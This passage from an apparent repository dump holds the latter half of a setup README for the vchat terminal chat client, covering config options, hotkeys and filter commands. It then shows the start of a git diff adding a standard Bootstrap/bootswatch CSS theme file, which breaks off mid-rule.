48Run the script vchat-keygen, located in the vchat-client/ directory.
49Follow its instructions.
50
51
524. Home sweet Home
53------------------
54
55Create a .vchat/ directory in your homedir. ::
56
57 $ cd
58 $ mkdir .vchat/
59
60Copy your key to the .vchat/ directory::
61
62 $ cp ~/.vchat.key ~/.vchat/key
63
64Whenever your signed cert arrives from vchat at vchat.berlin.ccc dot de,
65copy it to the .vchat/ directory as well::
66
67 $ cp ~/.vchat.cert ~/.vchat/cert
68
69In order to modify the look of your client, you may copy one of
70the sample-xxx.fmt files to the .vchat/ directory::
71
72 $ cd vchat-client/
73 $ cp sample-erdgeist.fmt ~/.vchat/formats
74
75If you want to set the chat server to vchat.berlin.ccc.de now,
76type::
77
78 $ echo host=vchat.berlin.ccc.de >> ~/.vchat/config
79
80If you want to ignore SSL-warnings due to missing CA-files, type::
81
82 $ echo ignssl=1 >> ~/.vchat/config
83
84If you don't want to ignore SSL-warnings, get the root-certificates from:
85
86 http://www.cacert.org/certs/class3.txt
87 and
88 http://www.cacert.org/certs/root.txt
89
90and copy them into your openssl-certs directory. For example::
91
92 # cp root.txt /etc/ssl/certs/
93 # cp class3.txt /etc/ssl/certs/
94 # cd /etc/ssl/certs
95 # ln -s root.txt `openssl x509 -in root.txt -hash | head -n 1`.0
96 # ln -s class3.txt `openssl x509 -in class3.txt -hash | head -n 1`.0
97
98Now you can type::
99
100 $ echo ignssl=0 >> ~/.vchat/config
101
102
103If you want a seperate private message window, type::
104
105 $ echo messages=10 >> ~/.vchat/config
106
107If you want to have no topic line, like in the oldschool client,
108do not choose a private message window an type::
109
110 $ echo usetopicbar=0 >> ~/.vchat/config
111
1125. First bunt
113-------------
114
115Check, whether you REALLY got a signed cert.
116
117[....
118If you did not get a reply from vchat at vchat.berlin.ccc dot de within
1193 days, this might either be due to you not being known to the
120certificate masters, or simply because of the verpeil. You may,
121after 3 days, contact me at erdgeist at erdgeist dot org. If I don't
122reply, too, reconsider your lifestyle.
123....]
124
125Start the client::
126
127 $ vchat-client
128
129or ::
130
131 $ vchat-client/vchat-client
132
133Enter the passphrase to your private key, if you added one.
134
135Look around. If the Umlautz are broken, try to trouble shoot here:
136https://freepad.erdgeist.org/p/fT9OoDoLMx
137
138Try to feel comfortable with the new look of your vchat-
139environment. Close your mouth. Try playing around with the
140following commands:
141
142If you did not enable the seperate private message window,
143ignore this part:
144
145[ STARTIGNORE
146
147Press Ctrl-G and Ctrl-T several times.
148Press Ctrl-X, then send yourself a private message, watch, what
149happens
150Press Ctrl-C ONCE!!!
151Press Ctrl-R and watch the asteriks at the very right of your
152screen, this one indicates, which window to scroll back
153
154ENDIGNORE]
155
156Press Ctrl-B Ctrl-F, if you collected some text in your
157message window. This should scroll back and forth.
158A red console bar should indicate, that you scrolled up.
159
160Press Ctrl-L to redraw and reset scroll indices.
161
162Play around with the completion:
163
164Hitting <TAB> at start of line will complete to ::
165
166 .m <lastpersonyouexchangedprivatemessageswith>
167
168if you hit <TAB> more often, you will cycle through this list,
169sorted by the last time you exchanges PMs with.
170
171Hitting <TAB> when you already typed some letters but no space
172yet will expand to all nicks in your current channel. You may
173cycle through this list, too.
174
175Hitting tab anywhere else expands to all nicks in all channels.
176
177Most other readline hotkeys (Ctrl-U, Ctrl-K, Ctrl-W, Ctrl-A...)
178will work as expected.
179
180
1816. Commandoe
182------------
183
184In addition to the server commands (.h, .m, .a, .s ...) the
185client brings its own set of commands, which will be triggered
186IRC-style by /COMMAND. These may be abbrevated to the lowest
187unambigous substring.
188
189Try /HELP for a first glimpse.
190The status window may be forced off by hitting Ctrl-X.
191
192/HELP KEYS should give you a short summary of available hot
193key commands.
194
195Some client commands are wrappers around server commands::
196
197 /ME == .a
198 /MSG == .m
199 /M == .m
200 /QUIT == .x
201
202The other commands are used to enable client side filtering
203and highlighting.
204
205Try::
206
207 /HELP FILTERS
208 /HELP FLT
209 /HELP FILTERS
210
211Highlight yourself::
212
213 /FLT 6 <nickname>
214
215if you don't see anything getting highlighted, you probably
216have a mac. If you got this far despite of that problem, you
217will surely find a way to enable colors in your terminal.
218
219Remove the filter rule::
220
221 /rmflt 1
222
223Zoom in all channel leaves::
224
225 /flt + left channel
226
227List your filter rules::
228
229 /lsflt
230
231Remove all filters::
232
233 /clflt
234
235Ignore all server leave and join messages::
236
237 /flt - ((left|joined|entered) (the )?(channel|chat))
238
239Reenable those lines::
240
241 /rmflt ((left|joined|entered) (the )?(channel|chat))
242
243Note: zoom overrides ignore.
244
245Be careful about setting your filters, as these are treated
246as regular expressions, which easily may lead to time
247consuming evaluations. Avoid brackets.
248
249
2507. Fiiiiiiiiieschas
251-------------------
252
253As I am still young *cough cough* I am _STILL_ willing to
254implement features of all stupidity grades. Contact me
255with /m erdgeist <feature request> at any time.
256
257
2588. You help
259-----------
260
261Since you will probably start fiddeling around with your
262.vchat/formats file, I'd appreciate getting YOUR format,
263too, as this may be helpful for others to make their own.
264Just send them to erdgeist at erdgeist dot org. Bug reports,
265feature request that are to long for the chat and diffs
266implementing some features are welcome at this address,
267too.
diff --git a/themes/erdgeist/assets/css/bootstrap.css b/themes/erdgeist/assets/css/bootstrap.css
new file mode 100644
index 0000000..eee9c7a
--- /dev/null
+++ b/themes/erdgeist/assets/css/bootstrap.css
@@ -0,0 +1,6716 @@
1/*!
2 * bootswatch v3.3.2
3 * Homepage: http://bootswatch.com
4 * Copyright 2012-2015 Thomas Park
5 * Licensed under MIT
6 * Based on Bootstrap
7*/
8/*! normalize.css v3.0.2 | MIT License | git.io/normalize */
9html {
10 font-family: sans-serif;
11 -ms-text-size-adjust: 100%;
12 -webkit-text-size-adjust: 100%;
13}
14body {
15 margin: 0;
16}
17article,
18aside,
19details,
20figcaption,
21figure,
22footer,
23header,
24hgroup,
25main,
26menu,
27nav,
28section,
29summary {
30 display: block;
31}
32audio,
33canvas,
34progress,
35video {
36 display: inline-block;
37 vertical-align: baseline;
38}
39audio:not([controls]) {
40 display: none;
41 height: 0;
42}
43[hidden],
44template {
45 display: none;
46}
47a {
48 background-color: transparent;
49}
50a:active,
51a:hover {
52 outline: 0;
53}
54abbr[title] {
55 border-bottom: 1px dotted;
56}
57b,
58strong {
59 font-weight: bold;
60}
61dfn {
62 font-style: italic;
63}
64h1 {
65 font-size: 2em;
66 margin: 0.67em 0;
67}
68mark {
69 background: #ff0;
70 color: #000;
71}
72small {
73 font-size: 80%;
74}
75sub,
76sup {
77 font-size: 75%;
78 line-height: 0;
79 position: relative;
80 vertical-align: baseline;
81}
82sup {
83 top: -0.5em;
84}
85sub {
86 bottom: -0.25em;
87}
88img {
89 border: 0;
90}
91svg:not(:root) {
92 overflow: hidden;
93}
94figure {
95 margin: 1em 40px;
96}
97hr {
98 -moz-box-sizing: content-box;
99 -webkit-box-sizing: content-box;
100 box-sizing: content-box;
101 height: 0;
102}
103pre {
104 overflow: auto;
105}
106code,
107kbd,
108pre,
109samp {
110 font-family: monospace, monospace;
111 font-size: 1em;
112}
113button,
114input,
115optgroup,
116select,
117textarea {
118 color: inherit;
119 font: inherit;
120 margin: 0;
121}
122button {
123 overflow: visible;
124}
125button,
126select {
127 text-transform: none;
128}
129button,
130html input[type="button"],
131input[type="reset"],
132input[type="submit"] {
133 -webkit-appearance: button;
134 cursor: pointer;
135}
136button[disabled],
137html input[disabled] {
138 cursor: default;
139}
140button::-moz-focus-inner,
141input::-moz-focus-inner {
142 border: 0;
143 padding: 0;
144}
145input {
146 line-height: normal;
147}
148input[type="checkbox"],
149input[type="radio"] {
150 -webkit-box-sizing: border-box;
151 -moz-box-sizing: border-box;
152 box-sizing: border-box;
153 padding: 0;
154}
155input[type="number"]::-webkit-inner-spin-button,
156input[type="number"]::-webkit-outer-spin-button {
157 height: auto;
158}
159input[type="search"] {
160 -webkit-appearance: textfield;
161 -moz-box-sizing: content-box;
162 -webkit-box-sizing: content-box;
163 box-sizing: content-box;
164}
165input[type="search"]::-webkit-search-cancel-button,
166input[type="search"]::-webkit-search-decoration {
167 -webkit-appearance: none;
168}
169fieldset {
170 border: 1px solid #c0c0c0;
171 margin: 0 2px;
172 padding: 0.35em 0.625em 0.75em;
173}
174legend {
175 border: 0;
176 padding: 0;
177}
178textarea {
179 overflow: auto;
180}
181optgroup {
182 font-weight: bold;
183}
184table {
185 border-collapse: collapse;
186 border-spacing: 0;
187}
188td,
189th {
190 padding: 0;
191}
192/*! Source: https://github.com/h5bp/html5-boilerplate/blob/master/src/css/main.css */
193@media print {
194 *,
195 *:before,
196 *:after {
197 background: transparent !important;
198 color: #000 !important;
199 -webkit-box-shadow: none !important;
200 box-shadow: none !important;
201 text-shadow: none !important;
202 }
203 a,
204 a:visited {
205 text-decoration: underline;
206 }
207 a[href]:after {
208 content: " (" attr(href) ")";
209 }
210 abbr[title]:after {
211 content: " (" attr(title) ")";
212 }
213 a[href^="#"]:after,
214 a[href^="javascript:"]:after {
215 content: "";
216 }
217 pre,
218 blockquote {
219 border: 1px solid #999;
220 page-break-inside: avoid;
221 }
222 thead {
223 display: table-header-group;
224 }
225 tr,
226 img {
227 page-break-inside: avoid;
228 }
229 img {
230 max-width: 100% !important;
231 }
232 p,
233 h2,
234 h3 {
235 orphans: 3;
236 widows: 3;
237 }
238 h2,
239 h3 {
240 page-break-after: avoid;
241 }
242 select {
243 background: #fff !important;
244 }
245 .navbar {
246 display: none;
247 }
248 .btn > .caret,
249 .dropup > .btn > .caret {
250 border-top-color: #000 !important;
251 }
252 .label {
253 border: 1px solid #000;
254 }
255 .table {
256 border-collapse: collapse !important;
257 }
258 .table td,
259 .table th {
260 background-color: #fff !important;
261 }
262 .table-bordered th,
263 .table-bordered td {
264 border: 1px solid #ddd !important;
265 }
266}
267@font-face {
268 font-family: 'Glyphicons Halflings';
269 src: url('../fonts/glyphicons-halflings-regular.eot');
270 src: url('../fonts/glyphicons-halflings-regular.eot?#iefix') format('embedded-opentype'), url('../fonts/glyphicons-halflings-regular.woff2') format('woff2'), url('../fonts/glyphicons-halflings-regular.woff') format('woff'), url('../fonts/glyphicons-halflings-regular.ttf') format('truetype'), url('../fonts/glyphicons-halflings-regular.svg#glyphicons_halflingsregular') format('svg');
271}
272.glyphicon {
273 position: relative;
274 top: 1px;
275 display: inline-block;
276 font-family: 'Glyphicons Halflings';
277 font-style: normal;
278 font-weight: normal;
279 line-height: 1;
280 -webkit-font-smoothing: antialiased;
281 -moz-osx-font-smoothing: grayscale;
282}
283.glyphicon-asterisk:before {
284 content: "\2a";
285}
286.glyphicon-plus:before {
287 content: "\2b";
288}
289.glyphicon-euro:before,
290.glyphicon-eur:before {
291 content: "\20ac";
292}
293.glyphicon-minus:before {
294 content: "\2212";
295}
296.glyphicon-cloud:before {
297 content: "\2601";
298}
299.glyphicon-envelope:before {
300 content: "\2709";
301}
302.glyphicon-pencil:before {
303 content: "\270f";
304}
305.glyphicon-glass:before {
306 content: "\e001";
307}
308.glyphicon-music:before {
309 content: "\e002";
310}
311.glyphicon-search:before {
312 content: "\e003";
313}
314.glyphicon-heart:before {
315 content: "\e005";
316}
317.glyphicon-star:before {
318 content: "\e006";
319}
320.glyphicon-star-empty:before {
321 content: "\e007";
322}
323.glyphicon-user:before {
324 content: "\e008";
325}
326.glyphicon-film:before {
327 content: "\e009";
328}
329.glyphicon-th-large:before {
330 content: "\e010";
331}
332.glyphicon-th:before {
333 content: "\e011";
334}
335.glyphicon-th-list:before {
336 content: "\e012";
337}
338.glyphicon-ok:before {
339 content: "\e013";
340}
341.glyphicon-remove:before {
342 content: "\e014";
343}
344.glyphicon-zoom-in:before {
345 content: "\e015";
346}
347.glyphicon-zoom-out:before {
348 content: "\e016";
349}
350.glyphicon-off:before {
351 content: "\e017";
352}
353.glyphicon-signal:before {
354 content: "\e018";
355}
356.glyphicon-cog:before {
357 content: "\e019";
358}
359.glyphicon-trash:before {
360 content: "\e020";
361}
362.glyphicon-home:before {
363 content: "\e021";
364}
365.glyphicon-file:before {
366 content: "\e022";
367}
368.glyphicon-time:before {
369 content: "\e023";
370}
371.glyphicon-road:before {
372 content: "\e024";
373}
374.glyphicon-download-alt:before {
375 content: "\e025";
376}
377.glyphicon-download:before {
378 content: "\e026";
379}
380.glyphicon-upload:before {
381 content: "\e027";
382}
383.glyphicon-inbox:before {
384 content: "\e028";
385}
386.glyphicon-play-circle:before {
387 content: "\e029";
388}
389.glyphicon-repeat:before {
390 content: "\e030";
391}
392.glyphicon-refresh:before {
393 content: "\e031";
394}
395.glyphicon-list-alt:before {
396 content: "\e032";
397}
398.glyphicon-lock:before {
399 content: "\e033";
400}
401.glyphicon-flag:before {
402 content: "\e034";
403}
404.glyphicon-headphones:before {
405 content: "\e035";
406}
407.glyphicon-volume-off:before {
408 content: "\e036";
409}
410.glyphicon-volume-down:before {
411 content: "\e037";
412}
413.glyphicon-volume-up:before {
414 content: "\e038";
415}
416.glyphicon-qrcode:before {
417 content: "\e039";
418}
419.glyphicon-barcode:before {
420 content: "\e040";
421}
422.glyphicon-tag:before {
423 content: "\e041";
424}
425.glyphicon-tags:before {
426 content: "\e042";
427}
428.glyphicon-book:before {
429 content: "\e043";
430}
431.glyphicon-bookmark:before {
432 content: "\e044";
433}
434.glyphicon-print:before {
435 content: "\e045";
436}
437.glyphicon-camera:before {
438 content: "\e046";
439}
440.glyphicon-font:before {
441 content: "\e047";
442}
443.glyphicon-bold:before {
444 content: "\e048";
445}
446.glyphicon-italic:before {
447 content: "\e049";
448}
449.glyphicon-text-height:before {
450 content: "\e050";
451}
452.glyphicon-text-width:before {
453 content: "\e051";
454}
455.glyphicon-align-left:before {
456 content: "\e052";
457}
458.glyphicon-align-center:before {
459 content: "\e053";
460}
461.glyphicon-align-right:before {
462 content: "\e054";
463}
464.glyphicon-align-justify:before {
465 content: "\e055";
466}
467.glyphicon-list:before {
468 content: "\e056";
469}
470.glyphicon-indent-left:before {
471 content: "\e057";
472}
473.glyphicon-indent-right:before {
474 content: "\e058";
475}
476.glyphicon-facetime-video:before {
477 content: "\e059";
478}
479.glyphicon-picture:before {
480 content: "\e060";
481}
482.glyphicon-map-marker:before {
483 content: "\e062";
484}
485.glyphicon-adjust:before {
486 content: "\e063";
487}
488.glyphicon-tint:before {
489 content: "\e064";
490}
491.glyphicon-edit:before {
492 content: "\e065";
493}
494.glyphicon-share:before {
495 content: "\e066";
496}
497.glyphicon-check:before {
498 content: "\e067";
499}
500.glyphicon-move:before {
501 content: "\e068";
502}
503.glyphicon-step-backward:before {
504 content: "\e069";
505}
506.glyphicon-fast-backward:before {
507 content: "\e070";
508}
509.glyphicon-backward:before {
510 content: "\e071";
511}
512.glyphicon-play:before {
513 content: "\e072";
514}
515.glyphicon-pause:before {
516 content: "\e073";
517}
518.glyphicon-stop:before {
519 content: "\e074";
520}
521.glyphicon-forward:before {
522 content: "\e075";
523}
524.glyphicon-fast-forward:before {
525 content: "\e076";
526}
527.glyphicon-step-forward:before {
528 content: "\e077";
529}
530.glyphicon-eject:before {
531 content: "\e078";
532}
533.glyphicon-chevron-left:before {
534 content: "\e079";
535}
536.glyphicon-chevron-right:before {
537 content: "\e080";
538}
539.glyphicon-plus-sign:before {
540 content: "\e081";
541}
542.glyphicon-minus-sign:before {
543 content: "\e082";
544}
545.glyphicon-remove-sign:before {
546 content: "\e083";
547}
548.glyphicon-ok-sign:before {
549 content: "\e084";
550}
551.glyphicon-question-sign:before {
552 content: "\e085";
553}
554.glyphicon-info-sign:before {
555 content: "\e086";
556}
557.glyphicon-screenshot:before {
558 content: "\e087";
559}
560.glyphicon-remove-circle:before {
561 content: "\e088";
562}
563.glyphicon-ok-circle:before {
564 content: "\e089";
565}
566.glyphicon-ban-circle:before {
567 content: "\e090";
568}
569.glyphicon-arrow-left:before {
570 content: "\e091";
571}
572.glyphicon-arrow-right:before {
573 content: "\e092";
574}
575.glyphicon-arrow-up:before {
576 content: "\e093";
577}
578.glyphicon-arrow-down:before {
579 content: "\e094";
580}
581.glyphicon-share-alt:before {
582 content: "\e095";
583}
584.glyphicon-resize-full:before {
585 content: "\e096";
586}
587.glyphicon-resize-small:before {
588 content: "\e097";
589}
590.glyphicon-exclamation-sign:before {
591 content: "\e101";
592}
593.glyphicon-gift:before {
594 content: "\e102";
595}
596.glyphicon-leaf:before {
597 content: "\e103";
598}
599.glyphicon-fire:before {
600 content: "\e104";
601}
602.glyphicon-eye-open:before {
603 content: "\e105";
604}
605.glyphicon-eye-close:before {
606 content: "\e106";
607}
608.glyphicon-warning-sign:before {
609 content: "\e107";
610}
611.glyphicon-plane:before {
612 content: "\e108";
613}
614.glyphicon-calendar:before {
615 content: "\e109";
616}
617.glyphicon-random:before {
618 content: "\e110";
619}
620.glyphicon-comment:before {
621 content: "\e111";
622}
623.glyphicon-magnet:before {
624 content: "\e112";
625}
626.glyphicon-chevron-up:before {
627 content: "\e113";
628}
629.glyphicon-chevron-down:before {
630 content: "\e114";
631}
632.glyphicon-retweet:before {
633 content: "\e115";
634}
635.glyphicon-shopping-cart:before {
636 content: "\e116";
637}
638.glyphicon-folder-close:before {
639 content: "\e117";
640}
641.glyphicon-folder-open:before {
642 content: "\e118";
643}
644.glyphicon-resize-vertical:before {
645 content: "\e119";
646}
647.glyphicon-resize-horizontal:before {
648 content: "\e120";
649}
650.glyphicon-hdd:before {
651 content: "\e121";
652}
653.glyphicon-bullhorn:before {
654 content: "\e122";
655}
656.glyphicon-bell:before {
657 content: "\e123";
658}
659.glyphicon-certificate:before {
660 content: "\e124";
661}
662.glyphicon-thumbs-up:before {
663 content: "\e125";
664}
665.glyphicon-thumbs-down:before {
666 content: "\e126";
667}
668.glyphicon-hand-right:before {
669 content: "\e127";
670}
671.glyphicon-hand-left:before {
672 content: "\e128";
673}
674.glyphicon-hand-up:before {
675 content: "\e129";
676}
677.glyphicon-hand-down:before {
678 content: "\e130";
679}
680.glyphicon-circle-arrow-right:before {
681 content: "\e131";
682}
683.glyphicon-circle-arrow-left:before {
684 content: "\e132";
685}
686.glyphicon-circle-arrow-up:before {
687 content: "\e133";
688}
689.glyphicon-circle-arrow-down:before {
690 content: "\e134";
691}
692.glyphicon-globe:before {
693 content: "\e135";
694}
695.glyphicon-wrench:before {
696 content: "\e136";
697}
698.glyphicon-tasks:before {
699 content: "\e137";
700}
701.glyphicon-filter:before {
702 content: "\e138";
703}
704.glyphicon-briefcase:before {
705 content: "\e139";
706}
707.glyphicon-fullscreen:before {
708 content: "\e140";
709}
710.glyphicon-dashboard:before {
711 content: "\e141";
712}
713.glyphicon-paperclip:before {
714 content: "\e142";
715}
716.glyphicon-heart-empty:before {
717 content: "\e143";
718}
719.glyphicon-link:before {
720 content: "\e144";
721}
722.glyphicon-phone:before {
723 content: "\e145";
724}
725.glyphicon-pushpin:before {
726 content: "\e146";
727}
728.glyphicon-usd:before {
729 content: "\e148";
730}
731.glyphicon-gbp:before {
732 content: "\e149";
733}
734.glyphicon-sort:before {
735 content: "\e150";
736}
737.glyphicon-sort-by-alphabet:before {
738 content: "\e151";
739}
740.glyphicon-sort-by-alphabet-alt:before {
741 content: "\e152";
742}
743.glyphicon-sort-by-order:before {
744 content: "\e153";
745}
746.glyphicon-sort-by-order-alt:before {
747 content: "\e154";
748}
749.glyphicon-sort-by-attributes:before {
750 content: "\e155";
751}
752.glyphicon-sort-by-attributes-alt:before {
753 content: "\e156";
754}
755.glyphicon-unchecked:before {
756 content: "\e157";
757}
758.glyphicon-expand:before {
759 content: "\e158";
760}
761.glyphicon-collapse-down:before {
762 content: "\e159";
763}
764.glyphicon-collapse-up:before {
765 content: "\e160";
766}
767.glyphicon-log-in:before {
768 content: "\e161";
769}
770.glyphicon-flash:before {
771 content: "\e162";
772}
773.glyphicon-log-out:before {
774 content: "\e163";
775}
776.glyphicon-new-window:before {
777 content: "\e164";
778}
779.glyphicon-record:before {
780 content: "\e165";
781}
782.glyphicon-save:before {
783 content: "\e166";
784}
785.glyphicon-open:before {
786 content: "\e167";
787}
788.glyphicon-saved:before {
789 content: "\e168";
790}
791.glyphicon-import:before {
792 content: "\e169";
793}
794.glyphicon-export:before {
795 content: "\e170";
796}
797.glyphicon-send:before {
798 content: "\e171";
799}
800.glyphicon-floppy-disk:before {
801 content: "\e172";
802}
803.glyphicon-floppy-saved:before {
804 content: "\e173";
805}
806.glyphicon-floppy-remove:before {
807 content: "\e174";
808}
809.glyphicon-floppy-save:before {
810 content: "\e175";
811}
812.glyphicon-floppy-open:before {
813 content: "\e176";
814}
815.glyphicon-credit-card:before {
816 content: "\e177";
817}
818.glyphicon-transfer:before {
819 content: "\e178";
820}
821.glyphicon-cutlery:before {
822 content: "\e179";
823}
824.glyphicon-header:before {
825 content: "\e180";
826}
827.glyphicon-compressed:before {
828 content: "\e181";
829}
830.glyphicon-earphone:before {
831 content: "\e182";
832}
833.glyphicon-phone-alt:before {
834 content: "\e183";
835}
836.glyphicon-tower:before {
837 content: "\e184";
838}
839.glyphicon-stats:before {
840 content: "\e185";
841}
842.glyphicon-sd-video:before {
843 content: "\e186";
844}
845.glyphicon-hd-video:before {
846 content: "\e187";
847}
848.glyphicon-subtitles:before {
849 content: "\e188";
850}
851.glyphicon-sound-stereo:before {
852 content: "\e189";
853}
854.glyphicon-sound-dolby:before {
855 content: "\e190";
856}
857.glyphicon-sound-5-1:before {
858 content: "\e191";
859}
860.glyphicon-sound-6-1:before {
861 content: "\e192";
862}
863.glyphicon-sound-7-1:before {
864 content: "\e193";
865}
866.glyphicon-copyright-mark:before {
867 content: "\e194";
868}
869.glyphicon-registration-mark:before {
870 content: "\e195";
871}
872.glyphicon-cloud-download:before {
873 content: "\e197";
874}
875.glyphicon-cloud-upload:before {
876 content: "\e198";
877}
878.glyphicon-tree-conifer:before {
879 content: "\e199";
880}
881.glyphicon-tree-deciduous:before {
882 content: "\e200";
883}
884.glyphicon-cd:before {
885 content: "\e201";
886}
887.glyphicon-save-file:before {
888 content: "\e202";
889}
890.glyphicon-open-file:before {
891 content: "\e203";
892}
893.glyphicon-level-up:before {
894 content: "\e204";
895}
896.glyphicon-copy:before {
897 content: "\e205";
898}
899.glyphicon-paste:before {
900 content: "\e206";
901}
902.glyphicon-alert:before {
903 content: "\e209";
904}
905.glyphicon-equalizer:before {
906 content: "\e210";
907}
908.glyphicon-king:before {
909 content: "\e211";
910}
911.glyphicon-queen:before {
912 content: "\e212";
913}
914.glyphicon-pawn:before {
915 content: "\e213";
916}
917.glyphicon-bishop:before {
918 content: "\e214";
919}
920.glyphicon-knight:before {
921 content: "\e215";
922}
923.glyphicon-baby-formula:before {
924 content: "\e216";
925}
926.glyphicon-tent:before {
927 content: "\26fa";
928}
929.glyphicon-blackboard:before {
930 content: "\e218";
931}
932.glyphicon-bed:before {
933 content: "\e219";
934}
935.glyphicon-apple:before {
936 content: "\f8ff";
937}
938.glyphicon-erase:before {
939 content: "\e221";
940}
941.glyphicon-hourglass:before {
942 content: "\231b";
943}
944.glyphicon-lamp:before {
945 content: "\e223";
946}
947.glyphicon-duplicate:before {
948 content: "\e224";
949}
950.glyphicon-piggy-bank:before {
951 content: "\e225";
952}
953.glyphicon-scissors:before {
954 content: "\e226";
955}
956.glyphicon-bitcoin:before {
957 content: "\e227";
958}
959.glyphicon-yen:before {
960 content: "\00a5";
961}
962.glyphicon-ruble:before {
963 content: "\20bd";
964}
965.glyphicon-scale:before {
966 content: "\e230";
967}
968.glyphicon-ice-lolly:before {
969 content: "\e231";
970}
971.glyphicon-ice-lolly-tasted:before {
972 content: "\e232";
973}
974.glyphicon-education:before {
975 content: "\e233";
976}
977.glyphicon-option-horizontal:before {
978 content: "\e234";
979}
980.glyphicon-option-vertical:before {
981 content: "\e235";
982}
983.glyphicon-menu-hamburger:before {
984 content: "\e236";
985}
986.glyphicon-modal-window:before {
987 content: "\e237";
988}
989.glyphicon-oil:before {
990 content: "\e238";
991}
992.glyphicon-grain:before {
993 content: "\e239";
994}
995.glyphicon-sunglasses:before {
996 content: "\e240";
997}
998.glyphicon-text-size:before {
999 content: "\e241";
1000}
1001.glyphicon-text-color:before {
1002 content: "\e242";
1003}
1004.glyphicon-text-background:before {
1005 content: "\e243";
1006}
1007.glyphicon-object-align-top:before {
1008 content: "\e244";
1009}
1010.glyphicon-object-align-bottom:before {
1011 content: "\e245";
1012}
1013.glyphicon-object-align-horizontal:before {
1014 content: "\e246";
1015}
1016.glyphicon-object-align-left:before {
1017 content: "\e247";
1018}
1019.glyphicon-object-align-vertical:before {
1020 content: "\e248";
1021}
1022.glyphicon-object-align-right:before {
1023 content: "\e249";
1024}
1025.glyphicon-triangle-right:before {
1026 content: "\e250";
1027}
1028.glyphicon-triangle-left:before {
1029 content: "\e251";
1030}
1031.glyphicon-triangle-bottom:before {
1032 content: "\e252";
1033}
1034.glyphicon-triangle-top:before {
1035 content: "\e253";
1036}
1037.glyphicon-console:before {
1038 content: "\e254";
1039}
1040.glyphicon-superscript:before {
1041 content: "\e255";
1042}
1043.glyphicon-subscript:before {
1044 content: "\e256";
1045}
1046.glyphicon-menu-left:before {
1047 content: "\e257";
1048}
1049.glyphicon-menu-right:before {
1050 content: "\e258";
1051}
1052.glyphicon-menu-down:before {
1053 content: "\e259";
1054}
1055.glyphicon-menu-up:before {
1056 content: "\e260";
1057}
1058* {
1059 -webkit-box-sizing: border-box;
1060 -moz-box-sizing: border-box;
1061 box-sizing: border-box;
1062}
1063*:before,
1064*:after {
1065 -webkit-box-sizing: border-box;
1066 -moz-box-sizing: border-box;
1067 box-sizing: border-box;
1068}
1069html {
1070 font-size: 10px;
1071 -webkit-tap-highlight-color: rgba(0, 0, 0, 0);
1072}
1073body {
1074 font-family: "Source Sans Pro", Calibri, Candara, Arial, sans-serif;
1075 font-size: 15px;
1076 line-height: 1.42857143;
1077 color: #333333;
1078 background-color: #ffffff;
1079}
1080input,
1081button,
1082select,
1083textarea {
1084 font-family: inherit;
1085 font-size: inherit;
1086 line-height: inherit;
1087}
1088a {
1089 color: #2780e3;
1090 text-decoration: none;
1091}
1092a:hover,
1093a:focus {
1094 color: #165ba8;
1095 text-decoration: underline;
1096}
1097a:focus {
1098 outline: thin dotted;
1099 outline: 5px auto -webkit-focus-ring-color;
1100 outline-offset: -2px;
1101}
1102figure {
1103 margin: 0;
1104}
1105img {
1106 vertical-align: middle;
1107}
1108.img-responsive,
1109.thumbnail > img,
1110.thumbnail a > img,
1111.carousel-inner > .item > img,
1112.carousel-inner > .item > a > img {
1113 display: block;
1114 max-width: 100%;
1115 height: auto;
1116}
1117.img-rounded {
1118 border-radius: 0;
1119}
1120.img-thumbnail {
1121 padding: 4px;
1122 line-height: 1.42857143;
1123 background-color: #ffffff;
1124 border: 1px solid #dddddd;
1125 border-radius: 0;
1126 -webkit-transition: all 0.2s ease-in-out;
1127 -o-transition: all 0.2s ease-in-out;
1128 transition: all 0.2s ease-in-out;
1129 display: inline-block;
1130 max-width: 100%;
1131 height: auto;
1132}
1133.img-circle {
1134 border-radius: 50%;
1135}
1136hr {
1137 margin-top: 21px;
1138 margin-bottom: 21px;
1139 border: 0;
1140 border-top: 1px solid #e6e6e6;
1141}
1142.sr-only {
1143 position: absolute;
1144 width: 1px;
1145 height: 1px;
1146 margin: -1px;
1147 padding: 0;
1148 overflow: hidden;
1149 clip: rect(0, 0, 0, 0);
1150 border: 0;
1151}
1152.sr-only-focusable:active,
1153.sr-only-focusable:focus {
1154 position: static;
1155 width: auto;
1156 height: auto;
1157 margin: 0;
1158 overflow: visible;
1159 clip: auto;
1160}
1161h1,
1162h2,
1163h3,
1164h4,
1165h5,
1166h6,
1167.h1,
1168.h2,
1169.h3,
1170.h4,
1171.h5,
1172.h6 {
1173 font-family: "Source Sans Pro", Calibri, Candara, Arial, sans-serif;
1174 font-weight: 300;
1175 line-height: 1.1;
1176 color: inherit;
1177}
1178h1 small,
1179h2 small,
1180h3 small,
1181h4 small,
1182h5 small,
1183h6 small,
1184.h1 small,
1185.h2 small,
1186.h3 small,
1187.h4 small,
1188.h5 small,
1189.h6 small,
1190h1 .small,
1191h2 .small,
1192h3 .small,
1193h4 .small,
1194h5 .small,
1195h6 .small,
1196.h1 .small,
1197.h2 .small,
1198.h3 .small,
1199.h4 .small,
1200.h5 .small,
1201.h6 .small {
1202 font-weight: normal;
1203 line-height: 1;
1204 color: #999999;
1205}
1206h1,
1207.h1,
1208h2,
1209.h2,
1210h3,
1211.h3 {
1212 margin-top: 21px;
1213 margin-bottom: 10.5px;
1214}
1215h1 small,
1216.h1 small,
1217h2 small,
1218.h2 small,
1219h3 small,
1220.h3 small,
1221h1 .small,
1222.h1 .small,
1223h2 .small,
1224.h2 .small,
1225h3 .small,
1226.h3 .small {
1227 font-size: 65%;
1228}
1229h4,
1230.h4,
1231h5,
1232.h5,
1233h6,
1234.h6 {
1235 margin-top: 10.5px;
1236 margin-bottom: 10.5px;
1237}
1238h4 small,
1239.h4 small,
1240h5 small,
1241.h5 small,
1242h6 small,
1243.h6 small,
1244h4 .small,
1245.h4 .small,
1246h5 .small,
1247.h5 .small,
1248h6 .small,
1249.h6 .small {
1250 font-size: 75%;
1251}
1252h1,
1253.h1 {
1254 font-size: 39px;
1255}
1256h2,
1257.h2 {
1258 font-size: 32px;
1259}
1260h3,
1261.h3 {
1262 font-size: 26px;
1263}
1264h4,
1265.h4 {
1266 font-size: 19px;
1267}
1268h5,
1269.h5 {
1270 font-size: 15px;
1271}
1272h6,
1273.h6 {
1274 font-size: 13px;
1275}
1276p {
1277 margin: 0 0 10.5px;
1278}
1279.lead {
1280 margin-bottom: 21px;
1281 font-size: 17px;
1282 font-weight: 300;
1283 line-height: 1.4;
1284}
1285@media (min-width: 768px) {
1286 .lead {
1287 font-size: 22.5px;
1288 }
1289}
1290small,
1291.small {
1292 font-size: 86%;
1293}
1294mark,
